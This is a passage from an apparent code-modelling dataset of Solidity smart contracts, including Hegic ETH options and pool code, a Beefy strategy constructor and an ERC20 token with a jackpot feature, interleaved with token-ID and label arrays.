large." ); lockedLiquidity.push(LockedLiquidity(amount, msg.value, true)); lockedPremium = lockedPremium.add(msg.value); lockedAmount = lockedAmount.add(amount); } /* * @nonce calls by HegicOptions to unlock the funds * @param id Id of LockedLiquidity that should be unlocked */ function unlock(uint256 id) external override onlyOwner { LockedLiquidity storage ll = lockedLiquidity[id]; require(ll.locked, "LockedLiquidity with such id has already unlocked"); ll.locked = false; lockedPremium = lockedPremium.sub(ll.premium); lockedAmount = lockedAmount.sub(ll.amount); emit Profit(id, ll.premium); } /* * @nonce calls by HegicCallOptions to send funds to liquidity providers after an option's expiration * @param to Provider * @param amount Funds that should be sent */ function send(uint id, address payable to, uint256 amount) external override onlyOwner { LockedLiquidity storage ll = lockedLiquidity[id]; require(ll.locked, "LockedLiquidity with such id has already unlocked"); require(to != address(0)); ll.locked = false; lockedPremium = lockedPremium.sub(ll.premium); lockedAmount = lockedAmount.sub(ll.amount); uint transferAmount = amount > ll.amount ? ll.amount : amount; to.transfer(transferAmount); if (transferAmount <= ll.premium) emit Profit(id, ll.premium - transferAmount); else emit Loss(id, transferAmount - ll.premium); } /* * @nonce Returns provider's share in ETH * @param account Provider's address * @return Provider's share in ETH */ function shareOf(address account) external view returns (uint256 share) { if (totalSupply() > 0) share = totalBalance().mul(balanceOf(account)).div(totalSupply()); else share = 0; } /* * @nonce Returns the amount of ETH available for withdrawals * @return balance Unlocked amount */ function availableBalance() public view returns (uint256 balance) { return totalBalance().sub(lockedAmount); } /* * @nonce Returns the total balance of ETH provided to the pool * @return balance Pool balance */ function totalBalance() public override view returns (uint256 balance) { return address(this).balance.sub(lockedPremium); } function _beforeTokenTransfer(address from, address to, uint256) internal override { if ( lastProvideTimestamp[from].add(lockupPeriod) > block.timestamp && lastProvideTimestamp[from] > lastProvideTimestamp[to] ) { require( !_revertTransfersInLockUpPeriod[to], "the recipient does not accept blocked funds" ); lastProvideTimestamp[to] = lastProvideTimestamp[from]; } } function divCeil(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; if (a % b != 0) c = c + 1; return c; } } // File: contracts/Options/HegicETHOptions.sol pragma solidity 0.6.12; /** * Hegic * Copyright (C) 2020 Hegic Protocol * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** * @author 0mllwntrmt3 * @title Hegic ETH (Ether) Bidirectional (Call and Put) Options * @notice Hegic ETH Options Contract */ contract HegicETHOptions is Ownable, IHegicOptions { using SafeMath for uint256; IHegicStakingETH public settlementFeeRecipient; Option[] public override options; uint256 public impliedVolRate; uint256 public optionCollateralizationRatio = 100; uint256 internal constant PRICE_DECIMALS = 1e8; uint256 internal contractCreationTimestamp; bool internal migrationProcess = true; HegicETHOptions private oldHegicETHOptions; AggregatorV3Interface public priceProvider; HegicETHPool public pool; /** * @param pp The address of ChainLink ETH/USD price feed contract */ constructor(AggregatorV3Interface pp, IHegicStakingETH staking, HegicETHPool _pool) public { pool = _pool; priceProvider = pp; settlementFeeRecipient = staking; impliedVolRate = 4500; contractCreationTimestamp = block.timestamp; } /** * @notice Can be used to update the contract in critical situations * in the first 14 days after deployment */ function transferPoolOwnership() external onlyOwner { require(block.timestamp < contractCreationTimestamp + 14 days); pool.transferOwnership(owner()); } /** * @notice Used for adjusting the options prices while balancing asset's implied volatility rate * @param value New IVRate value */ function setImpliedVolRate(uint256 value) external onlyOwner { require(value >= 1000, "ImpliedVolRate limit is too small"); impliedVolRate = value; } /** * @notice Used for changing settlementFeeRecipient * @param recipient New settlementFee recipient address */ function setSettlementFeeRecipient(IHegicStakingETH recipient) external onlyOwner { require(block.timestamp < contractCreationTimestamp + 14 days); require(address(recipient) != address(0)); settlementFeeRecipient = recipient; } /** * @notice Used for changing option collateralization ratio * @param value New optionCollateralizationRatio value */ function setOptionCollaterizationRatio(uint value) external onlyOwner { require(50 <= value && value <= 100, "wrong value"); optionCollateralizationRatio = value; } /** * @notice Creates a new option * @param period Option period in seconds (1 days <= period <= 4 weeks) * @param amount Option amount * @param strike Strike price of the option * @param optionType Call or Put option type * @return optionID Created option's ID */ function create( uint256 period, uint256 amount, uint256 strike, OptionType optionType ) external payable returns (uint256 optionID) { (uint256 total, uint256 settlementFee, uint256 strikeFee, ) = fees( period, amount, strike, optionType ); require( optionType == OptionType.Call || optionType == OptionType.Put, "Wrong option type" ); require(period >= 1 days, "Period is too short"); require(period <= 4 weeks, "Period is too long"); require(amount > strikeFee, "Price difference is too large"); require(msg.value >= total, "Wrong value"); if (msg.value > total) msg.sender.transfer(msg.value - total); uint256 strikeAmount = amount.sub(strikeFee); optionID = options.length; Option memory option = Option( State.Active, msg.sender, strike, amount, strikeAmount.mul(optionCollateralizationRatio).div(100).add(strikeFee), total.sub(settlementFee), block.timestamp + period, optionType ); options.push(option); settlementFeeRecipient.sendProfit {value: settlementFee}(); pool.lock {value: option.premium} (optionID, option.lockedAmount); emit Create(optionID, msg.sender, settlementFee, total); } /** * @notice Transfers an active option * @param optionID ID of your option * @param newHolder Address of new option holder */ function transfer(uint256 optionID, address payable newHolder) external { Option storage option = options[optionID]; require(newHolder != address(0), "new holder address is zero"); require(option.expiration >= block.timestamp, "Option has expired"); require(option.holder == msg.sender, "Wrong msg.sender"); require(option.state == State.Active, "Only active options could be transferred"); option.holder = newHolder; } /** * @notice Exercises an active option * @param optionID ID of your option */ function exercise(uint256 optionID) external { Option storage option = options[optionID]; require(option.expiration >= block.timestamp, "Option has expired"); require(option.holder == msg.sender, "Wrong msg.sender"); require(option.state == State.Active, "Wrong state"); option.state = State.Exercised; uint256 profit = payProfit(optionID); emit Exercise(optionID, profit); } /** * @notice Unlocks an array of options * @param optionIDs array of options */ function unlockAll(uint256[] calldata optionIDs) external { uint arrayLength = optionIDs.length; for (uint256 i = 0; i < arrayLength; i++) { unlock(optionIDs[i]); } } function migrate(uint count) external onlyOwner { require(migrationProcess, "Migration Process was ended"); require( pool.owner() != address(this), "Liquidity Pool already attached" ); require(address(oldHegicETHOptions) != address(0)); for (uint i = 0; i < count; i++){ uint optionID = options.length; HegicETHOptions.Option memory option; ( option.state, option.holder, option.strike, option.amount, option.lockedAmount, option.premium, option.expiration, option.optionType ) = oldHegicETHOptions.options(optionID); uint settlementFee = getSettlementFee(option.amount); options.push(option); emit Create( optionID, option.holder, settlementFee, option.premium.add(settlementFee) ); } } function setOldHegicETHOptions(address oldAddr) external onlyOwner { require(address(oldHegicETHOptions) == address(0)); oldHegicETHOptions = HegicETHOptions(oldAddr); } function stopMigrationProcess() external onlyOwner { migrationProcess = false; } /** * @notice Used for getting the actual options prices * @param period Option period in seconds (1 days <= period <= 4 weeks) * @param amount Option amount * @param strike Strike price of the option * @return total Total price to be paid * @return settlementFee Amount to be distributed to the HEGIC token holders * @return strikeFee Amount that covers the price difference in the ITM options * @return periodFee Option period fee amount */ function fees( uint256 period, uint256 amount, uint256 strike, OptionType optionType ) public view returns ( uint256 total, uint256 settlementFee, uint256 strikeFee, uint256 periodFee ) { (,int latestPrice,,,) = priceProvider.latestRoundData(); uint256 currentPrice = uint256(latestPrice); settlementFee = getSettlementFee(amount); periodFee = getPeriodFee(amount, period, strike, currentPrice, optionType); strikeFee = getStrikeFee(amount, strike, currentPrice, optionType); total = periodFee.add(strikeFee).add(settlementFee); } /** * @notice Unlock funds locked in the expired options * @param optionID ID of the option */ function unlock(uint256 optionID) public { Option storage option = options[optionID]; require(option.expiration < block.timestamp, "Option has not expired yet"); require(option.state == State.Active, "Option is not active"); option.state = State.Expired; pool.unlock(optionID); emit Expire(optionID, option.premium); } /** * @notice Calculates settlementFee * @param amount Option amount * @return fee Settlement fee amount */ function getSettlementFee(uint256 amount) internal pure returns (uint256 fee) { return amount / 100; } /** * @notice Calculates periodFee * @param amount Option amount * @param period Option period in seconds (1 days <= period <= 4 weeks) * @param strike Strike price of the option * @param currentPrice Current price of ETH * @return fee Period fee amount * * amount < 1e30 | * impliedVolRate < 1e10| => amount * impliedVolRate * strike < 1e60 < 2^uint256 * strike < 1e20 ($1T) | * * in case amount * impliedVolRate * strike >= 2^256 * transaction will be reverted by the SafeMath */ function getPeriodFee( uint256 amount, uint256 period, uint256 strike, uint256 currentPrice, OptionType optionType ) internal view returns (uint256 fee) { if (optionType == OptionType.Put) return amount .mul(sqrt(period)) .mul(impliedVolRate) .mul(strike) .div(currentPrice) .div(PRICE_DECIMALS); else return amount .mul(sqrt(period)) .mul(impliedVolRate) .mul(currentPrice) .div(strike) .div(PRICE_DECIMALS); } /** * @notice Calculates strikeFee * @param amount Option amount * @param strike Strike price of the option * @param currentPrice Current price of ETH * @return fee Strike fee amount */ function getStrikeFee( uint256 amount, uint256 strike, uint256 currentPrice, OptionType optionType ) internal pure returns (uint256 fee) { if (strike > currentPrice && optionType == OptionType.Put) return strike.sub(currentPrice).mul(amount).div(currentPrice); if (strike < currentPrice && optionType == OptionType.Call) return currentPrice.sub(strike).mul(amount).div(currentPrice); return 0; } /** * @notice Sends profits in ETH from the ETH pool to an option holder's address * @param optionID A specific option contract id */ function payProfit(uint optionID) internal returns (uint profit) { Option memory option = options[optionID]; (, int latestPrice, , , ) = priceProvider.latestRoundData(); uint256 currentPrice = uint256(latestPrice); if (option.optionType == OptionType.Call) { require(option.strike <= currentPrice, "Current price is too low"); profit = currentPrice.sub(option.strike).mul(option.amount).div(currentPrice); } else { require(option.strike >= currentPrice, "Current price is too high"); profit = option.strike.sub(currentPrice).mul(option.amount).div(currentPrice); } if (profit > option.lockedAmount) profit = option.lockedAmount; pool.send(optionID, option.holder, profit); } /** * @return result Square root of the number */ function sqrt(uint256 x) private pure returns (uint256 result) { result = x; uint256 k = x.div(2).add(1); while (k < result) (result, k) = (k, x.div(k).add(k).div(2)); } }
* @notice Used for .../
function revertTransfersInLockUpPeriod(bool value) external { _revertTransfersInLockUpPeriod[msg.sender] = value; }
1,130,851
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 20392, 10286, 364, 1372, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 15226, 1429, 18881, 382, 2531, 1211, 5027, 12, 6430, 460, 13, 3903, 288, 203, 3639, 389, 266, 1097, 1429, 18881, 382, 2531, 1211, 5027, 63, 3576, 18, 15330, 65, 273, 460, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/43114/0x8AEb2522E6B5C645B556Ec4069c4F9f4DceD63C7/sources/StrategyQuick.sol
* @dev Event that is fired each time someone harvests the strat./ setup lp routing
) StratManager(_keeper, _strategist, _unirouter, _vault, _beefyFeeRecipient) public { want = _want; poolId = _poolId; chef = _chef; output = _outputToNativeRoute[0]; native = _outputToNativeRoute[_outputToNativeRoute.length - 1]; outputToNativeRoute = _outputToNativeRoute; lpToken0 = IUniswapV2Pair(want).token0(); require(_nativeToLp0Route[0] == native, "nativeToLp0Route[0] != native"); require(_nativeToLp0Route[_nativeToLp0Route.length - 1] == lpToken0, "nativeToLp0Route[last] != lpToken0"); nativeToLp0Route = _nativeToLp0Route; lpToken1 = IUniswapV2Pair(want).token1(); require(_nativeToLp1Route[0] == native, "nativeToLp1Route[0] != native"); require(_nativeToLp1Route[_nativeToLp1Route.length - 1] == lpToken1, "nativeToLp1Route[last] != lpToken1"); nativeToLp1Route = _nativeToLp1Route; _giveAllowances(); }
4,583,861
[ 1, 4625, 348, 7953, 560, 30, 380, 632, 5206, 2587, 716, 353, 15950, 1517, 813, 18626, 17895, 90, 25563, 326, 609, 270, 18, 19, 3875, 12423, 7502, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 262, 3978, 270, 1318, 24899, 79, 9868, 16, 389, 701, 1287, 376, 16, 389, 318, 77, 10717, 16, 389, 26983, 16, 389, 70, 1340, 74, 93, 14667, 18241, 13, 1071, 288, 203, 3639, 2545, 273, 389, 17369, 31, 203, 3639, 2845, 548, 273, 389, 6011, 548, 31, 203, 3639, 462, 10241, 273, 389, 343, 10241, 31, 203, 203, 3639, 876, 273, 389, 2844, 774, 9220, 3255, 63, 20, 15533, 203, 3639, 6448, 273, 389, 2844, 774, 9220, 3255, 63, 67, 2844, 774, 9220, 3255, 18, 2469, 300, 404, 15533, 203, 3639, 876, 774, 9220, 3255, 273, 389, 2844, 774, 9220, 3255, 31, 203, 203, 3639, 12423, 1345, 20, 273, 467, 984, 291, 91, 438, 58, 22, 4154, 12, 17369, 2934, 2316, 20, 5621, 203, 3639, 2583, 24899, 13635, 774, 48, 84, 20, 3255, 63, 20, 65, 422, 6448, 16, 315, 13635, 774, 48, 84, 20, 3255, 63, 20, 65, 480, 6448, 8863, 203, 3639, 2583, 24899, 13635, 774, 48, 84, 20, 3255, 63, 67, 13635, 774, 48, 84, 20, 3255, 18, 2469, 300, 404, 65, 422, 12423, 1345, 20, 16, 315, 13635, 774, 48, 84, 20, 3255, 63, 2722, 65, 480, 12423, 1345, 20, 8863, 203, 3639, 6448, 774, 48, 84, 20, 3255, 273, 389, 13635, 774, 48, 84, 20, 3255, 31, 203, 203, 3639, 12423, 1345, 21, 273, 467, 984, 291, 91, 438, 58, 22, 4154, 12, 17369, 2934, 2316, 21, 5621, 203, 3639, 2583, 24899, 13635, 774, 48, 84, 21, 3255, 63, 20, 65, 422, 6448, 16, 315, 13635, 774, 48, 84, 21, 3255, 63, 20, 65, 480, 6448, 8863, 203, 3639, 2583, 24899, 13635, 774, 48, 84, 21, 3255, 63, 67, 13635, 774, 48, 84, 21, 3255, 18, 2469, 300, 404, 65, 422, 12423, 1345, 21, 16, 315, 13635, 774, 48, 84, 21, 3255, 63, 2722, 65, 480, 12423, 1345, 21, 8863, 203, 3639, 6448, 774, 48, 84, 21, 3255, 273, 389, 13635, 774, 48, 84, 21, 3255, 31, 203, 203, 3639, 389, 75, 688, 7009, 6872, 5621, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address _owner) public view returns (uint balance); function transfer(address _to, uint _value) public returns (bool success); function transferFrom(address _from, address _to, uint _value) public returns (bool success); function approve(address _spender, uint _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint remaining); event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); } /** * @title Ownable * The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; // The Ownable constructor sets the original `owner` // of the contract to the sender account. constructor() public { owner = msg.sender; } // Throw if called by any account other than the current owner modifier onlyOwner { require(msg.sender == owner); _; } // Allow the current owner to transfer control of the contract to a newOwner function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); owner = newOwner; } } contract RAcoinToken is Ownable, ERC20Interface { string public constant symbol = "RAC"; string public constant name = "RAcoinToken"; uint private _totalSupply; uint public constant decimals = 18; uint private unmintedTokens = 20000000000*uint(10)**decimals; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); //Struct to hold lockup records struct LockupRecord { uint amount; uint unlockTime; } // Balances for each account mapping(address => uint) balances; // Owner of account approves the transfer of an amount to another account mapping(address => mapping (address => uint)) allowed; // Balances for lockup accounts mapping(address => LockupRecord)balancesLockup; /** ====== JACKPOT IMPLEMENTATION ====== */ // Percentage for jackpot reserving during tokens transfer uint public reservingPercentage = 1; // Minimum amount of jackpot, before reaching it jackpot cannot be distributed. // Default value is 100,000 RAC uint public jackpotMinimumAmount = 100000 * uint(10)**decimals; // reservingStep is used for calculating how many times a user will be added to jackpot participants list: // times user will be added to jackpotParticipants list = transfer amount / reservingStep // the more user transfer tokens using transferWithReserving function the more times he will be added and, // as a result, more chances to win the jackpot. Default value is 10,000 RAC uint public reservingStep = 10000 * 